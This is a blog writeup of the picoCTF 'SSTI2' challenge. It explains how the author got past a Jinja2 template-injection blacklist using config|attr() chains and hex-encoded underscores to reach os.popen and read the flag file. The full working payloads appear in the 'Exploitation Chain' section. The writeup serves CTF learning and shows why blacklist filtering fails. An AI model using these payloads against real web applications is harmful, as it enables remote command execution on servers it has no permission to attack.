Christopher Ferrari

picoCTF: SSTI2 — Writeup

Published on June 5, 2025

Challenge: picoCTF: SSTI2

Difficulty: Medium

Description: I made a cool website where you can announce whatever you want! I read about input sanitization, so now I remove any kind of characters that could be a problem :)

This challenge presented a Jinja2 template injection vulnerability, but with aggressive input filtering that blocked underscores, dots, curly braces, quotes, and common keywords like os and popen. Even successful output containing curly braces was stripped from responses.

Initial Testing

I entered {{7*7}}, which evaluated to 49, confirming template injection was possible. However, every traditional payload failed:

{{''.__class__.__subclasses__()}}  # Blocked
{{request.application.__globals__}} # Blocked

The filters were catching both input patterns and output content, making standard exploitation impossible.

Filter Discovery

Through systematic testing, I identified these blocked elements:

- Characters: __ (double underscores), . (dots), {} (curly braces), ' (single quotes)

- Keywords: os, popen, class, subclasses, init, globals

- Output filtering: Even successful payloads containing { characters were stripped from responses

This confirmed both aggressive input sanitization and output filtering were in place.

My Theory

Since direct object traversal was blocked, I needed an alternative approach. The key insight was that Flask's config object would be available in the template context without triggering keyword filters. From there, I could use method chaining with attr() to avoid dot notation and hex encoding to bypass underscore filtering.

I considered other approaches like using request object methods or trying different encoding schemes, but the config path seemed most reliable since it's a standard Flask context variable that wouldn't trigger keyword detection.

Exploitation Chain

I started with the Flask config object and built a chain using attr() calls:

{{config|attr('__class__')}}

That failed because of underscore filtering. So I hex-encoded the underscores:

{{config|attr('\x5f\x5fclass\x5f\x5f')}}

That worked. I continued building the chain to reach the OS module:

{{config|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('os')}}

Finally, I executed the command to read the flag:

{{ config | attr('\x5f\x5fclass\x5f\x5f') | attr('\x5f\x5finit\x5f\x5f') | attr('\x5f\x5fglobals\x5f\x5f') | attr('\x5f\x5fgetitem\x5f\x5f')('os') | attr('popen')('cat flag') | attr('read')() }}

The hex encoding \x5f represents the underscore character (_), making \x5f\x5fclass\x5f\x5f equivalent to __class__ but invisible to string-based blacklist filters.

Key Takeaway

Blacklist filters can often be bypassed with encoding techniques and alternative syntax. The \x5f hex encoding made underscores invisible to string-based filters, while attr() provided an alternative to dot notation. Understanding multiple ways to access the same Python functionality is crucial when filters block the obvious approaches.

Alternative methods like using request objects, different encoding schemes (\u005f for Unicode), or even getattr() functions could also work depending on the specific filtering implementation.